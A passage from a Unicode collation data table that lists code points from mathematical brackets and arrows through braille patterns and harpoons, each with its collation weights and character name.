WHITE SQUARE WITH LEFTWARDS TICK +27E5 ; [*0AB4.0020.0002] # WHITE SQUARE WITH RIGHTWARDS TICK +27E6 ; [*033C.0020.0002] # MATHEMATICAL LEFT WHITE SQUARE BRACKET +27E7 ; [*033D.0020.0002] # MATHEMATICAL RIGHT WHITE SQUARE BRACKET +27E8 ; [*033E.0020.0002] # MATHEMATICAL LEFT ANGLE BRACKET +27E9 ; [*033F.0020.0002] # MATHEMATICAL RIGHT ANGLE BRACKET +27EA ; [*0340.0020.0002] # MATHEMATICAL LEFT DOUBLE ANGLE BRACKET +27EB ; [*0341.0020.0002] # MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET +27EC ; [*0342.0020.0002] # MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET +27ED ; [*0343.0020.0002] # MATHEMATICAL RIGHT WHITE TORTOISE SHELL BRACKET +27EE ; [*0344.0020.0002] # MATHEMATICAL LEFT FLATTENED PARENTHESIS +27EF ; [*0345.0020.0002] # MATHEMATICAL RIGHT FLATTENED PARENTHESIS +27F0 ; [*0AB5.0020.0002] # UPWARDS QUADRUPLE ARROW +27F1 ; [*0AB6.0020.0002] # DOWNWARDS QUADRUPLE ARROW +27F2 ; [*0AB7.0020.0002] # ANTICLOCKWISE GAPPED CIRCLE ARROW +27F3 ; [*0AB8.0020.0002] # CLOCKWISE GAPPED CIRCLE ARROW +27F4 ; [*0AB9.0020.0002] # RIGHT ARROW WITH CIRCLED PLUS +27F5 ; [*0ABA.0020.0002] # LONG LEFTWARDS ARROW +27F6 ; [*0ABB.0020.0002] # LONG RIGHTWARDS ARROW +27F7 ; [*0ABC.0020.0002] # LONG LEFT RIGHT ARROW +27F8 ; [*0ABD.0020.0002] # LONG LEFTWARDS DOUBLE ARROW +27F9 ; [*0ABE.0020.0002] # LONG RIGHTWARDS DOUBLE ARROW +27FA ; [*0ABF.0020.0002] # LONG LEFT RIGHT DOUBLE ARROW +27FB ; [*0AC0.0020.0002] # LONG LEFTWARDS ARROW FROM BAR +27FC ; [*0AC1.0020.0002] # LONG RIGHTWARDS ARROW FROM BAR +27FD ; [*0AC2.0020.0002] # LONG LEFTWARDS DOUBLE ARROW FROM BAR +27FE ; [*0AC3.0020.0002] # LONG RIGHTWARDS DOUBLE ARROW FROM BAR +27FF ; [*0AC4.0020.0002] # LONG RIGHTWARDS SQUIGGLE ARROW +2800 ; [*0D78.0020.0002] # BRAILLE PATTERN BLANK +2801 ; [*0D79.0020.0002] # BRAILLE PATTERN DOTS-1 +2802 ; [*0D7A.0020.0002] # BRAILLE PATTERN DOTS-2 +2803 ; [*0D7B.0020.0002] # BRAILLE PATTERN DOTS-12 +2804 ; [*0D7C.0020.0002] # BRAILLE PATTERN DOTS-3 +2805 ; [*0D7D.0020.0002] # BRAILLE PATTERN DOTS-13 +2806 ; [*0D7E.0020.0002] # BRAILLE PATTERN DOTS-23 +2807 ; [*0D7F.0020.0002] # BRAILLE PATTERN DOTS-123 +2808 ; [*0D80.0020.0002] # BRAILLE PATTERN DOTS-4 +2809 ; [*0D81.0020.0002] # BRAILLE PATTERN DOTS-14 +280A ; [*0D82.0020.0002] # BRAILLE PATTERN DOTS-24 +280B ; [*0D83.0020.0002] # BRAILLE PATTERN DOTS-124 +280C ; [*0D84.0020.0002] # BRAILLE PATTERN DOTS-34 +280D ; [*0D85.0020.0002] # BRAILLE PATTERN DOTS-134 +280E ; [*0D86.0020.0002] # BRAILLE PATTERN DOTS-234 +280F ; [*0D87.0020.0002] # BRAILLE PATTERN DOTS-1234 +2810 ; [*0D88.0020.0002] # BRAILLE PATTERN DOTS-5 +2811 ; [*0D89.0020.0002] # BRAILLE PATTERN DOTS-15 +2812 ; [*0D8A.0020.0002] # BRAILLE PATTERN DOTS-25 +2813 ; [*0D8B.0020.0002] # BRAILLE PATTERN DOTS-125 +2814 ; [*0D8C.0020.0002] # BRAILLE PATTERN DOTS-35 +2815 ; [*0D8D.0020.0002] # BRAILLE PATTERN DOTS-135 +2816 ; [*0D8E.0020.0002] # BRAILLE PATTERN DOTS-235 +2817 ; [*0D8F.0020.0002] # BRAILLE PATTERN DOTS-1235 +2818 ; [*0D90.0020.0002] # BRAILLE PATTERN DOTS-45 +2819 ; [*0D91.0020.0002] # BRAILLE PATTERN DOTS-145 +281A ; [*0D92.0020.0002] # BRAILLE PATTERN DOTS-245 +281B ; [*0D93.0020.0002] # BRAILLE PATTERN DOTS-1245 +281C ; [*0D94.0020.0002] # BRAILLE PATTERN DOTS-345 +281D ; [*0D95.0020.0002] # BRAILLE PATTERN DOTS-1345 +281E ; [*0D96.0020.0002] # BRAILLE PATTERN DOTS-2345 +281F ; [*0D97.0020.0002] # BRAILLE PATTERN DOTS-12345 +2820 ; [*0D98.0020.0002] # BRAILLE PATTERN DOTS-6 +2821 ; [*0D99.0020.0002] # BRAILLE PATTERN DOTS-16 +2822 ; [*0D9A.0020.0002] # BRAILLE PATTERN DOTS-26 +2823 ; [*0D9B.0020.0002] # BRAILLE PATTERN DOTS-126 +2824 ; [*0D9C.0020.0002] # BRAILLE PATTERN DOTS-36 +2825 ; [*0D9D.0020.0002] # BRAILLE PATTERN DOTS-136 +2826 ; [*0D9E.0020.0002] # BRAILLE PATTERN DOTS-236 +2827 ; [*0D9F.0020.0002] # BRAILLE PATTERN DOTS-1236 +2828 ; [*0DA0.0020.0002] # BRAILLE PATTERN DOTS-46 +2829 ; [*0DA1.0020.0002] # BRAILLE PATTERN DOTS-146 +282A ; [*0DA2.0020.0002] # BRAILLE PATTERN DOTS-246 +282B ; [*0DA3.0020.0002] # BRAILLE PATTERN DOTS-1246 +282C ; [*0DA4.0020.0002] # BRAILLE PATTERN DOTS-346 +282D ; [*0DA5.0020.0002] # BRAILLE PATTERN DOTS-1346 +282E ; [*0DA6.0020.0002] # BRAILLE PATTERN DOTS-2346 +282F ; [*0DA7.0020.0002] # BRAILLE PATTERN DOTS-12346 +2830 ; [*0DA8.0020.0002] # BRAILLE PATTERN DOTS-56 +2831 ; [*0DA9.0020.0002] # BRAILLE PATTERN DOTS-156 +2832 ; [*0DAA.0020.0002] # BRAILLE PATTERN DOTS-256 +2833 ; [*0DAB.0020.0002] # BRAILLE PATTERN DOTS-1256 +2834 ; [*0DAC.0020.0002] # BRAILLE PATTERN DOTS-356 +2835 ; [*0DAD.0020.0002] # BRAILLE PATTERN DOTS-1356 +2836 ; [*0DAE.0020.0002] # BRAILLE PATTERN DOTS-2356 +2837 ; [*0DAF.0020.0002] # BRAILLE PATTERN DOTS-12356 +2838 ; [*0DB0.0020.0002] # BRAILLE PATTERN DOTS-456 +2839 ; [*0DB1.0020.0002] # BRAILLE PATTERN DOTS-1456 +283A ; [*0DB2.0020.0002] # BRAILLE PATTERN DOTS-2456 +283B ; [*0DB3.0020.0002] # BRAILLE PATTERN DOTS-12456 +283C ; [*0DB4.0020.0002] # BRAILLE PATTERN DOTS-3456 +283D ; [*0DB5.0020.0002] # BRAILLE PATTERN DOTS-13456 +283E ; [*0DB6.0020.0002] # BRAILLE PATTERN DOTS-23456 +283F ; [*0DB7.0020.0002] # BRAILLE PATTERN DOTS-123456 +2840 ; [*0DB8.0020.0002] # BRAILLE PATTERN DOTS-7 +2841 ; [*0DB9.0020.0002] # BRAILLE PATTERN DOTS-17 +2842 ; [*0DBA.0020.0002] # BRAILLE PATTERN DOTS-27 +2843 ; [*0DBB.0020.0002] # BRAILLE PATTERN DOTS-127 +2844 ; [*0DBC.0020.0002] # BRAILLE PATTERN DOTS-37 +2845 ; [*0DBD.0020.0002] # BRAILLE PATTERN DOTS-137 +2846 ; [*0DBE.0020.0002] # BRAILLE PATTERN DOTS-237 +2847 ; [*0DBF.0020.0002] # BRAILLE PATTERN DOTS-1237 +2848 ; [*0DC0.0020.0002] # BRAILLE PATTERN DOTS-47 +2849 ; [*0DC1.0020.0002] # BRAILLE PATTERN DOTS-147 +284A ; [*0DC2.0020.0002] # BRAILLE PATTERN DOTS-247 +284B ; [*0DC3.0020.0002] # BRAILLE PATTERN DOTS-1247 +284C ; [*0DC4.0020.0002] # BRAILLE PATTERN DOTS-347 +284D ; [*0DC5.0020.0002] # BRAILLE PATTERN DOTS-1347 +284E ; [*0DC6.0020.0002] # BRAILLE PATTERN DOTS-2347 +284F ; [*0DC7.0020.0002] # BRAILLE PATTERN DOTS-12347 +2850 ; [*0DC8.0020.0002] # BRAILLE PATTERN DOTS-57 +2851 ; [*0DC9.0020.0002] # BRAILLE PATTERN DOTS-157 +2852 ; [*0DCA.0020.0002] # BRAILLE PATTERN DOTS-257 +2853 ; [*0DCB.0020.0002] # BRAILLE PATTERN DOTS-1257 +2854 ; [*0DCC.0020.0002] # BRAILLE PATTERN DOTS-357 +2855 ; [*0DCD.0020.0002] # BRAILLE PATTERN DOTS-1357 +2856 ; [*0DCE.0020.0002] # BRAILLE PATTERN DOTS-2357 +2857 ; [*0DCF.0020.0002] # BRAILLE PATTERN DOTS-12357 +2858 ; [*0DD0.0020.0002] # BRAILLE PATTERN DOTS-457 +2859 ; [*0DD1.0020.0002] # BRAILLE PATTERN DOTS-1457 +285A ; [*0DD2.0020.0002] # BRAILLE PATTERN DOTS-2457 +285B ; [*0DD3.0020.0002] # BRAILLE PATTERN DOTS-12457 +285C ; [*0DD4.0020.0002] # BRAILLE PATTERN DOTS-3457 +285D ; [*0DD5.0020.0002] # BRAILLE PATTERN DOTS-13457 +285E ; [*0DD6.0020.0002] # BRAILLE PATTERN DOTS-23457 +285F ; [*0DD7.0020.0002] # BRAILLE PATTERN DOTS-123457 +2860 ; [*0DD8.0020.0002] # BRAILLE PATTERN DOTS-67 +2861 ; [*0DD9.0020.0002] # BRAILLE PATTERN DOTS-167 +2862 ; [*0DDA.0020.0002] # BRAILLE PATTERN DOTS-267 +2863 ; [*0DDB.0020.0002] # BRAILLE PATTERN DOTS-1267 +2864 ; [*0DDC.0020.0002] # BRAILLE PATTERN DOTS-367 +2865 ; [*0DDD.0020.0002] # BRAILLE PATTERN DOTS-1367 +2866 ; [*0DDE.0020.0002] # BRAILLE PATTERN DOTS-2367 +2867 ; [*0DDF.0020.0002] # BRAILLE PATTERN DOTS-12367 +2868 ; [*0DE0.0020.0002] # BRAILLE PATTERN DOTS-467 +2869 ; [*0DE1.0020.0002] # BRAILLE PATTERN DOTS-1467 +286A ; [*0DE2.0020.0002] # BRAILLE PATTERN DOTS-2467 +286B ; [*0DE3.0020.0002] # BRAILLE PATTERN DOTS-12467 +286C ; [*0DE4.0020.0002] # BRAILLE PATTERN DOTS-3467 +286D ; [*0DE5.0020.0002] # BRAILLE PATTERN DOTS-13467 +286E ; [*0DE6.0020.0002] # BRAILLE PATTERN DOTS-23467 +286F ; [*0DE7.0020.0002] # BRAILLE PATTERN DOTS-123467 +2870 ; [*0DE8.0020.0002] # BRAILLE PATTERN DOTS-567 +2871 ; [*0DE9.0020.0002] # BRAILLE PATTERN DOTS-1567 +2872 ; [*0DEA.0020.0002] # BRAILLE PATTERN DOTS-2567 +2873 ; [*0DEB.0020.0002] # BRAILLE PATTERN DOTS-12567 +2874 ; [*0DEC.0020.0002] # BRAILLE PATTERN DOTS-3567 +2875 ; [*0DED.0020.0002] # BRAILLE PATTERN DOTS-13567 +2876 ; [*0DEE.0020.0002] # BRAILLE PATTERN DOTS-23567 +2877 ; [*0DEF.0020.0002] # BRAILLE PATTERN DOTS-123567 +2878 ; [*0DF0.0020.0002] # BRAILLE PATTERN DOTS-4567 +2879 ; [*0DF1.0020.0002] # BRAILLE PATTERN DOTS-14567 +287A ; [*0DF2.0020.0002] # BRAILLE PATTERN DOTS-24567 +287B ; [*0DF3.0020.0002] # BRAILLE PATTERN DOTS-124567 +287C ; [*0DF4.0020.0002] # BRAILLE PATTERN DOTS-34567 +287D ; [*0DF5.0020.0002] # BRAILLE PATTERN DOTS-134567 +287E ; [*0DF6.0020.0002] # BRAILLE PATTERN DOTS-234567 +287F ; [*0DF7.0020.0002] # BRAILLE PATTERN DOTS-1234567 +2880 ; [*0DF8.0020.0002] # BRAILLE PATTERN DOTS-8 +2881 ; [*0DF9.0020.0002] # BRAILLE PATTERN DOTS-18 +2882 ; [*0DFA.0020.0002] # BRAILLE PATTERN DOTS-28 +2883 ; [*0DFB.0020.0002] # BRAILLE PATTERN DOTS-128 +2884 ; [*0DFC.0020.0002] # BRAILLE PATTERN DOTS-38 +2885 ; [*0DFD.0020.0002] # BRAILLE PATTERN DOTS-138 +2886 ; [*0DFE.0020.0002] # BRAILLE PATTERN DOTS-238 +2887 ; [*0DFF.0020.0002] # BRAILLE PATTERN DOTS-1238 +2888 ; [*0E00.0020.0002] # BRAILLE PATTERN DOTS-48 +2889 ; [*0E01.0020.0002] # BRAILLE PATTERN DOTS-148 +288A ; [*0E02.0020.0002] # BRAILLE PATTERN DOTS-248 +288B ; [*0E03.0020.0002] # BRAILLE PATTERN DOTS-1248 +288C ; [*0E04.0020.0002] # BRAILLE PATTERN DOTS-348 +288D ; [*0E05.0020.0002] # BRAILLE PATTERN DOTS-1348 +288E ; [*0E06.0020.0002] # BRAILLE PATTERN DOTS-2348 +288F ; [*0E07.0020.0002] # BRAILLE PATTERN DOTS-12348 +2890 ; [*0E08.0020.0002] # BRAILLE PATTERN DOTS-58 +2891 ; [*0E09.0020.0002] # BRAILLE PATTERN DOTS-158 +2892 ; [*0E0A.0020.0002] # BRAILLE PATTERN DOTS-258 +2893 ; [*0E0B.0020.0002] # BRAILLE PATTERN DOTS-1258 +2894 ; [*0E0C.0020.0002] # BRAILLE PATTERN DOTS-358 +2895 ; [*0E0D.0020.0002] # BRAILLE PATTERN DOTS-1358 +2896 ; [*0E0E.0020.0002] # BRAILLE PATTERN DOTS-2358 +2897 ; [*0E0F.0020.0002] # BRAILLE PATTERN DOTS-12358 +2898 ; [*0E10.0020.0002] # BRAILLE PATTERN DOTS-458 +2899 ; [*0E11.0020.0002] # BRAILLE PATTERN DOTS-1458 +289A ; [*0E12.0020.0002] # BRAILLE PATTERN DOTS-2458 +289B ; [*0E13.0020.0002] # BRAILLE PATTERN DOTS-12458 +289C ; [*0E14.0020.0002] # BRAILLE PATTERN DOTS-3458 +289D ; [*0E15.0020.0002] # BRAILLE PATTERN DOTS-13458 +289E ; [*0E16.0020.0002] # BRAILLE PATTERN DOTS-23458 +289F ; [*0E17.0020.0002] # BRAILLE PATTERN DOTS-123458 +28A0 ; [*0E18.0020.0002] # BRAILLE PATTERN DOTS-68 +28A1 ; [*0E19.0020.0002] # BRAILLE PATTERN DOTS-168 +28A2 ; [*0E1A.0020.0002] # BRAILLE PATTERN DOTS-268 +28A3 ; [*0E1B.0020.0002] # BRAILLE PATTERN DOTS-1268 +28A4 ; [*0E1C.0020.0002] # BRAILLE PATTERN DOTS-368 +28A5 ; [*0E1D.0020.0002] # BRAILLE PATTERN DOTS-1368 +28A6 ; [*0E1E.0020.0002] # BRAILLE PATTERN DOTS-2368 +28A7 ; [*0E1F.0020.0002] # BRAILLE PATTERN DOTS-12368 +28A8 ; [*0E20.0020.0002] # BRAILLE PATTERN DOTS-468 +28A9 ; [*0E21.0020.0002] # BRAILLE PATTERN DOTS-1468 +28AA ; [*0E22.0020.0002] # BRAILLE PATTERN DOTS-2468 +28AB ; [*0E23.0020.0002] # BRAILLE PATTERN DOTS-12468 +28AC ; [*0E24.0020.0002] # BRAILLE PATTERN DOTS-3468 +28AD ; [*0E25.0020.0002] # BRAILLE PATTERN DOTS-13468 +28AE ; [*0E26.0020.0002] # BRAILLE PATTERN DOTS-23468 +28AF ; [*0E27.0020.0002] # BRAILLE PATTERN DOTS-123468 +28B0 ; [*0E28.0020.0002] # BRAILLE PATTERN DOTS-568 +28B1 ; [*0E29.0020.0002] # BRAILLE PATTERN DOTS-1568 +28B2 ; [*0E2A.0020.0002] # BRAILLE PATTERN DOTS-2568 +28B3 ; [*0E2B.0020.0002] # BRAILLE PATTERN DOTS-12568 +28B4 ; [*0E2C.0020.0002] # BRAILLE PATTERN DOTS-3568 +28B5 ; [*0E2D.0020.0002] # BRAILLE PATTERN DOTS-13568 +28B6 ; [*0E2E.0020.0002] # BRAILLE PATTERN DOTS-23568 +28B7 ; [*0E2F.0020.0002] # BRAILLE PATTERN DOTS-123568 +28B8 ; [*0E30.0020.0002] # BRAILLE PATTERN DOTS-4568 +28B9 ; [*0E31.0020.0002] # BRAILLE PATTERN DOTS-14568 +28BA ; [*0E32.0020.0002] # BRAILLE PATTERN DOTS-24568 +28BB ; [*0E33.0020.0002] # BRAILLE PATTERN DOTS-124568 +28BC ; [*0E34.0020.0002] # BRAILLE PATTERN DOTS-34568 +28BD ; [*0E35.0020.0002] # BRAILLE PATTERN DOTS-134568 +28BE ; [*0E36.0020.0002] # BRAILLE PATTERN DOTS-234568 +28BF ; [*0E37.0020.0002] # BRAILLE PATTERN DOTS-1234568 +28C0 ; [*0E38.0020.0002] # BRAILLE PATTERN DOTS-78 +28C1 ; [*0E39.0020.0002] # BRAILLE PATTERN DOTS-178 +28C2 ; [*0E3A.0020.0002] # BRAILLE PATTERN DOTS-278 +28C3 ; [*0E3B.0020.0002] # BRAILLE PATTERN DOTS-1278 +28C4 ; [*0E3C.0020.0002] # BRAILLE PATTERN DOTS-378 +28C5 ; [*0E3D.0020.0002] # BRAILLE PATTERN DOTS-1378 +28C6 ; [*0E3E.0020.0002] # BRAILLE PATTERN DOTS-2378 +28C7 ; [*0E3F.0020.0002] # BRAILLE PATTERN DOTS-12378 +28C8 ; [*0E40.0020.0002] # BRAILLE PATTERN DOTS-478 +28C9 ; [*0E41.0020.0002] # BRAILLE PATTERN DOTS-1478 +28CA ; [*0E42.0020.0002] # BRAILLE PATTERN DOTS-2478 +28CB ; [*0E43.0020.0002] # BRAILLE PATTERN DOTS-12478 +28CC ; [*0E44.0020.0002] # BRAILLE PATTERN DOTS-3478 +28CD ; [*0E45.0020.0002] # BRAILLE PATTERN DOTS-13478 +28CE ; [*0E46.0020.0002] # BRAILLE PATTERN DOTS-23478 +28CF ; [*0E47.0020.0002] # BRAILLE PATTERN DOTS-123478 +28D0 ; [*0E48.0020.0002] # BRAILLE PATTERN DOTS-578 +28D1 ; [*0E49.0020.0002] # BRAILLE PATTERN DOTS-1578 +28D2 ; [*0E4A.0020.0002] # BRAILLE PATTERN DOTS-2578 +28D3 ; [*0E4B.0020.0002] # BRAILLE PATTERN DOTS-12578 +28D4 ; [*0E4C.0020.0002] # BRAILLE PATTERN DOTS-3578 +28D5 ; [*0E4D.0020.0002] # BRAILLE PATTERN DOTS-13578 +28D6 ; [*0E4E.0020.0002] # BRAILLE PATTERN DOTS-23578 +28D7 ; [*0E4F.0020.0002] # BRAILLE PATTERN DOTS-123578 +28D8 ; [*0E50.0020.0002] # BRAILLE PATTERN DOTS-4578 +28D9 ; [*0E51.0020.0002] # BRAILLE PATTERN DOTS-14578 +28DA ; [*0E52.0020.0002] # BRAILLE PATTERN DOTS-24578 +28DB ; [*0E53.0020.0002] # BRAILLE PATTERN DOTS-124578 +28DC ; [*0E54.0020.0002] # BRAILLE PATTERN DOTS-34578 +28DD ; [*0E55.0020.0002] # BRAILLE PATTERN DOTS-134578 +28DE ; [*0E56.0020.0002] # BRAILLE PATTERN DOTS-234578 +28DF ; [*0E57.0020.0002] # BRAILLE PATTERN DOTS-1234578 +28E0 ; [*0E58.0020.0002] # BRAILLE PATTERN DOTS-678 +28E1 ; [*0E59.0020.0002] # BRAILLE PATTERN DOTS-1678 +28E2 ; [*0E5A.0020.0002] # BRAILLE PATTERN DOTS-2678 +28E3 ; [*0E5B.0020.0002] # BRAILLE PATTERN DOTS-12678 +28E4 ; [*0E5C.0020.0002] # BRAILLE PATTERN DOTS-3678 +28E5 ; [*0E5D.0020.0002] # BRAILLE PATTERN DOTS-13678 +28E6 ; [*0E5E.0020.0002] # BRAILLE PATTERN DOTS-23678 +28E7 ; [*0E5F.0020.0002] # BRAILLE PATTERN DOTS-123678 +28E8 ; [*0E60.0020.0002] # BRAILLE PATTERN DOTS-4678 +28E9 ; [*0E61.0020.0002] # BRAILLE PATTERN DOTS-14678 +28EA ; [*0E62.0020.0002] # BRAILLE PATTERN DOTS-24678 +28EB ; [*0E63.0020.0002] # BRAILLE PATTERN DOTS-124678 +28EC ; [*0E64.0020.0002] # BRAILLE PATTERN DOTS-34678 +28ED ; [*0E65.0020.0002] # BRAILLE PATTERN DOTS-134678 +28EE ; [*0E66.0020.0002] # BRAILLE PATTERN DOTS-234678 +28EF ; [*0E67.0020.0002] # BRAILLE PATTERN DOTS-1234678 +28F0 ; [*0E68.0020.0002] # BRAILLE PATTERN DOTS-5678 +28F1 ; [*0E69.0020.0002] # BRAILLE PATTERN DOTS-15678 +28F2 ; [*0E6A.0020.0002] # BRAILLE PATTERN DOTS-25678 +28F3 ; [*0E6B.0020.0002] # BRAILLE PATTERN DOTS-125678 +28F4 ; [*0E6C.0020.0002] # BRAILLE PATTERN DOTS-35678 +28F5 ; [*0E6D.0020.0002] # BRAILLE PATTERN DOTS-135678 +28F6 ; [*0E6E.0020.0002] # BRAILLE PATTERN DOTS-235678 +28F7 ; [*0E6F.0020.0002] # BRAILLE PATTERN DOTS-1235678 +28F8 ; [*0E70.0020.0002] # BRAILLE PATTERN DOTS-45678 +28F9 ; [*0E71.0020.0002] # BRAILLE PATTERN DOTS-145678 +28FA ; [*0E72.0020.0002] # BRAILLE PATTERN DOTS-245678 +28FB ; [*0E73.0020.0002] # BRAILLE PATTERN DOTS-1245678 +28FC ; [*0E74.0020.0002] # BRAILLE PATTERN DOTS-345678 +28FD ; [*0E75.0020.0002] # BRAILLE PATTERN DOTS-1345678 +28FE ; [*0E76.0020.0002] # BRAILLE PATTERN DOTS-2345678 +28FF ; [*0E77.0020.0002] # BRAILLE PATTERN DOTS-12345678 +2900 ; [*0AC5.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE +2901 ; [*0AC6.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE +2902 ; [*0AC7.0020.0002] # LEFTWARDS DOUBLE ARROW WITH VERTICAL STROKE +2903 ; [*0AC8.0020.0002] # RIGHTWARDS DOUBLE ARROW WITH VERTICAL STROKE +2904 ; [*0AC9.0020.0002] # LEFT RIGHT DOUBLE ARROW WITH VERTICAL STROKE +2905 ; [*0ACA.0020.0002] # RIGHTWARDS TWO-HEADED ARROW FROM BAR +2906 ; [*0ACB.0020.0002] # LEFTWARDS DOUBLE ARROW FROM BAR +2907 ; [*0ACC.0020.0002] # RIGHTWARDS DOUBLE ARROW FROM BAR +2908 ; [*0ACD.0020.0002] # DOWNWARDS ARROW WITH HORIZONTAL STROKE +2909 ; [*0ACE.0020.0002] # UPWARDS ARROW WITH HORIZONTAL STROKE +290A ; [*0ACF.0020.0002] # UPWARDS TRIPLE ARROW +290B ; [*0AD0.0020.0002] # DOWNWARDS TRIPLE ARROW +290C ; [*0AD1.0020.0002] # LEFTWARDS DOUBLE DASH ARROW +290D ; [*0AD2.0020.0002] # RIGHTWARDS DOUBLE DASH ARROW +290E ; [*0AD3.0020.0002] # LEFTWARDS TRIPLE DASH ARROW +290F ; [*0AD4.0020.0002] # RIGHTWARDS TRIPLE DASH ARROW +2910 ; [*0AD5.0020.0002] # RIGHTWARDS TWO-HEADED TRIPLE DASH ARROW +2911 ; [*0AD6.0020.0002] # RIGHTWARDS ARROW WITH DOTTED STEM +2912 ; [*0AD7.0020.0002] # UPWARDS ARROW TO BAR +2913 ; [*0AD8.0020.0002] # DOWNWARDS ARROW TO BAR +2914 ; [*0AD9.0020.0002] # RIGHTWARDS ARROW WITH TAIL WITH VERTICAL STROKE +2915 ; [*0ADA.0020.0002] # RIGHTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE +2916 ; [*0ADB.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL +2917 ; [*0ADC.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE +2918 ; [*0ADD.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE +2919 ; [*0ADE.0020.0002] # LEFTWARDS ARROW-TAIL +291A ; [*0ADF.0020.0002] # RIGHTWARDS ARROW-TAIL +291B ; [*0AE0.0020.0002] # LEFTWARDS DOUBLE ARROW-TAIL +291C ; [*0AE1.0020.0002] # RIGHTWARDS DOUBLE ARROW-TAIL +291D ; [*0AE2.0020.0002] # LEFTWARDS ARROW TO BLACK DIAMOND +291E ; [*0AE3.0020.0002] # RIGHTWARDS ARROW TO BLACK DIAMOND +291F ; [*0AE4.0020.0002] # LEFTWARDS ARROW FROM BAR TO BLACK DIAMOND +2920 ; [*0AE5.0020.0002] # RIGHTWARDS ARROW FROM BAR TO BLACK DIAMOND +2921 ; [*0AE6.0020.0002] # NORTH WEST AND SOUTH EAST ARROW +2922 ; [*0AE7.0020.0002] # NORTH EAST AND SOUTH WEST ARROW +2923 ; [*0AE8.0020.0002] # NORTH WEST ARROW WITH HOOK +2924 ; [*0AE9.0020.0002] # NORTH EAST ARROW WITH HOOK +2925 ; [*0AEA.0020.0002] # SOUTH EAST ARROW WITH HOOK +2926 ; [*0AEB.0020.0002] # SOUTH WEST ARROW WITH HOOK +2927 ; [*0AEC.0020.0002] # NORTH WEST ARROW AND NORTH EAST ARROW +2928 ; [*0AED.0020.0002] # NORTH EAST ARROW AND SOUTH EAST ARROW +2929 ; [*0AEE.0020.0002] # SOUTH EAST ARROW AND SOUTH WEST ARROW +292A ; [*0AEF.0020.0002] # SOUTH WEST ARROW AND NORTH WEST ARROW +292B ; [*0AF0.0020.0002] # RISING DIAGONAL CROSSING FALLING DIAGONAL +292C ; [*0AF1.0020.0002] # FALLING DIAGONAL CROSSING RISING DIAGONAL +292D ; [*0AF2.0020.0002] # SOUTH EAST ARROW CROSSING NORTH EAST ARROW +292E ; [*0AF3.0020.0002] # NORTH EAST ARROW CROSSING SOUTH EAST ARROW +292F ; [*0AF4.0020.0002] # FALLING DIAGONAL CROSSING NORTH EAST ARROW +2930 ; [*0AF5.0020.0002] # RISING DIAGONAL CROSSING SOUTH EAST ARROW +2931 ; [*0AF6.0020.0002] # NORTH EAST ARROW CROSSING NORTH WEST ARROW +2932 ; [*0AF7.0020.0002] # NORTH WEST ARROW CROSSING NORTH EAST ARROW +2933 ; [*0AF8.0020.0002] # WAVE ARROW POINTING DIRECTLY RIGHT +2934 ; [*0AF9.0020.0002] # ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS +2935 ; [*0AFA.0020.0002] # ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS +2936 ; [*0AFB.0020.0002] # ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS +2937 ; [*0AFC.0020.0002] # ARROW POINTING DOWNWARDS THEN CURVING RIGHTWARDS +2938 ; [*0AFD.0020.0002] # RIGHT-SIDE ARC CLOCKWISE ARROW +2939 ; [*0AFE.0020.0002] # LEFT-SIDE ARC ANTICLOCKWISE ARROW +293A ; [*0AFF.0020.0002] # TOP ARC ANTICLOCKWISE ARROW +293B ; [*0B00.0020.0002] # BOTTOM ARC ANTICLOCKWISE ARROW +293C ; [*0B01.0020.0002] # TOP ARC CLOCKWISE ARROW WITH MINUS +293D ; [*0B02.0020.0002] # TOP ARC ANTICLOCKWISE ARROW WITH PLUS +293E ; [*0B03.0020.0002] # LOWER RIGHT SEMICIRCULAR CLOCKWISE ARROW +293F ; [*0B04.0020.0002] # LOWER LEFT SEMICIRCULAR ANTICLOCKWISE ARROW +2940 ; [*0B05.0020.0002] # ANTICLOCKWISE CLOSED CIRCLE ARROW +2941 ; [*0B06.0020.0002] # CLOCKWISE CLOSED CIRCLE ARROW +2942 ; [*0B07.0020.0002] # RIGHTWARDS ARROW ABOVE SHORT LEFTWARDS ARROW +2943 ; [*0B08.0020.0002] # LEFTWARDS ARROW ABOVE SHORT RIGHTWARDS ARROW +2944 ; [*0B09.0020.0002] # SHORT RIGHTWARDS ARROW ABOVE LEFTWARDS ARROW +2945 ; [*0B0A.0020.0002] # RIGHTWARDS ARROW WITH PLUS BELOW +2946 ; [*0B0B.0020.0002] # LEFTWARDS ARROW WITH PLUS BELOW +2947 ; [*0B0C.0020.0002] # RIGHTWARDS ARROW THROUGH X +2948 ; [*0B0D.0020.0002] # LEFT RIGHT ARROW THROUGH SMALL CIRCLE +2949 ; [*0B0E.0020.0002] # UPWARDS TWO-HEADED ARROW FROM SMALL CIRCLE +294A ; [*0B0F.0020.0002] # LEFT BARB UP RIGHT BARB DOWN HARPOON +294B ; [*0B10.0020.0002] # LEFT BARB DOWN RIGHT BARB UP HARPOON +294C ; [*0B11.0020.0002] # UP BARB RIGHT DOWN BARB LEFT HARPOON +294D ; [*0B12.0020.0002] # UP BARB LEFT DOWN BARB RIGHT HARPOON +294E ; [*0B13.0020.0002] # LEFT BARB UP RIGHT BARB UP HARPOON +294F ; [*0B14.0020.0002] # UP BARB RIGHT DOWN BARB RIGHT HARPOON +2950 ; [*0B15.0020.0002] # LEFT BARB DOWN RIGHT BARB DOWN HARPOON +2951 ; [*0B16.0020.0002] # UP BARB LEFT DOWN BARB LEFT HARPOON +2952 ; [*0B17.0020.0002] # LEFTWARDS HARPOON WITH BARB UP TO BAR +2953 ; [*0B18.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP TO BAR +2954 ; [*0B19.0020.0002] # UPWARDS HARPOON WITH BARB RIGHT TO BAR +2955 ; [*0B1A.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHT TO BAR +2956 ; [*0B1B.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN TO BAR +2957 ; 